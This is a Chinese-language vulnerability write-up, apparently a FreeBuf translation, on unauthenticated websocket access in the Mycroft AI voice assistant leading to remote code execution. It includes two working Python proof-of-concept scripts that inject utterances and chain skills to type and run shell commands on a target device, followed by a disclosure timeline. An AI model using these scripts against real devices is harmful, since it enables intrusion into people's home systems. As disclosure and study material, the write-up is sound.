47

智能语音应用Mycroft AI的远程代码执行漏洞分析

 5 years ago
source link: http://www.freebuf.com/articles/web/175128.html?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

vq6NraZ.jpg!web

当我在Arch Linux社区开源软件包的开发贡献过程中,发现了一个很有意思的项目-麦考夫 Mycroft AI ,它是一款开源且基于人工智能(AI)的语音助理应用,在对它的研究过程中,我发现了一个不用点击交互即可实现的远程代码执行漏洞(RCE)。

与业界有名的Amazon Echo和Google Home不同的是,Mycroft最早于2015年开始在海外网站发起众筹来批量生产其Mark-I 和 Mark-II 代产品,而3月份其Mark-II代产品上线4天后就被售罄脱销。Mycroft AI智能语音助理基于Linux Desktop/Server和Raspberry PI架构,现广泛用于智能自动化家居系统中,其新款应用将订制化应用于捷豹和路虎的某些车型中。

代码分析

在对Mycroft AI的 源代码 分析中,我发现了其中有意思的 一个地方

...
host = config.get("host")
port = config.get("port")
route = config.get("route")
validate_param(host, "websocket.host")
validate_param(port, "websocket.port")
validate_param(route, "websocket.route")
routes = [
        (route, WebsocketEventHandler)
]
application = web.Application(routes, **settings)
application.listen(port, host)
ioloop.IOLoop.instance().start()
...

在这里它定义了一个websocket服务端,用来接收类似于 Andriod远程客户端 的指令,在 mycroft.conf 中给出了websocket服务端设置的具体定义:

// The mycroft-core messagebus' websocket
  "websocket": {
    "host": "0.0.0.0",
    "port": 8181,
    "route": "/core",
    "ssl": false
},

从以上代码可知,在0.0.0.0:8181/core上默认的websocket服务端竟然无需任何身份验证,好吧,让我们写个脚本来测试一下:

#!/usr/bin/env python
import asyncio
import websockets
uri = "ws://myserver:8181/core"
command = "say pwned"
async def sendPayload():
    async with websockets.connect(uri) as websocket:
       
 await websocket.send("{\"data\": {\"utterances\": [\""+command+"\"]}, 
\"type\": \"recognizer_loop:utterance\", \"context\": null}")
asyncio.get_event_loop().run_until_complete(sendPayload())

很好,我们能让Mycroft AI自己说 “pwned”,这样,我们也能让Mycroft AI远程发声,但这也不算是什么大发现,最多也只能吓唬一下朋友而已。

Mycroft AI 的技能系统

深入挖掘之后,可以发现Mycroft内置了一个技能系统,可以在其基础上安装其它你想要的语音技能,听起来很好,不是吗?

那么,Mycroft的一种技能是由哪些元素组成的呢?从给出的说明文档可以看到,Mycroft的技能元素如下:

dialog/en-us/command.dialog: 包含了能触发技能的语音命令
vocab/en-us/answer.voc: 包含了Mycroft发声的答案
requirements.txt:  包含了由 pip 方式安装的技能所需安装包 
__int__.py:包含了技能的主函数和触发执行时的需要加载的命令

利用分析

有了以上技能元素之后,我就可以创建一个恶意技能,当它被触发之后,就可以在远程Mycroft设备上来执行任意代码了。但遗憾的是,这样的方式并不能通过语音命令来实现,除非其技能链接URL未被一些在线网站白名单化。这虽然有可能,但多少有些麻烦。 vMrQNjn.gif

测试实现

有了以上技能元素之后,我就可以创建一个恶意技能,当它被触发之后,就可以在远程Mycroft设备上来执行任意代码了。但遗憾的是,这样的方式并不能通过语音命令来实现,除非其技能链接URL是一些未被白名单化的在线网站。这虽然有可能,但执行起来多少有些麻烦。

Mycroft 内置了很多 默认技能 ,如 open 这种能打开其它第三方应用的,还有一些经过白名单化但未被安装在Mycroft设备上的技能。通过再次研究,我发现了一个名为skill-autogui的有趣技能,它的主要功能是对鼠标键盘的控制,好吧,我们就用它来试试!把所有以上可利用的发现组合成一个PoC:

#!/usr/bin/env python
import sys
import asyncio
import websockets
import time
cmds = ["mute audio"] + sys.argv[1:]
uri = "ws://myserver:8181/core"
async def sendPayload():
    for payload in cmds:
        async with websockets.connect(uri) as websocket:
           
 await websocket.send("{\"data\": {\"utterances\": [\""+payload+"\"]}, 
\"type\": \"recognizer_loop:utterance\", \"context\": null}")
            time.sleep(1)
asyncio.get_event_loop().run_until_complete(sendPayload())

pwn.py “install autogui” “open xterm” “type echo pwned” “press enter” 命令运行exploit代码之后,就能在一台远程Mycroft设备的Linux系统上执行命令:

yMZvauf.gif Notes:

open xterm:由于我的测试用Linux是桌面版的,所以,远程测试机也是直接通过终端TTY来执行的;

目前Mycroft的 技能分支包存在一个 比较大的变化包括autogui在内 的一些技能是暂不可用的,但这不是重点。Mycroft的许多技能可于智能自动化家居系统进行交互,所以,它的其它服务或许也存在可被控制利用的可能。这个漏洞的关键在于,其中websocket服务端缺乏必要的身份验证。

漏洞影响设备

所有搭载有Mycroft,且websocket服务端暴露在网的设备(Mark-I代应用的websocket接口默认在防火墙之后)

漏洞报送进程

08/03/2018  漏洞发现
09/03/2018  漏洞上报
13/03/2018   Mycroft技术总监答复称他们已经注意到该漏洞,并将及时修复
06/06/2018  Mycroft技术总监回复称漏洞修复完成,并会警告 Mycroft用户配合防火墙使用
09/06/2018  漏洞公开

*参考来源: github ,Freebuf clouds 编译,转载请注明来自 FreeBuf.COM


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK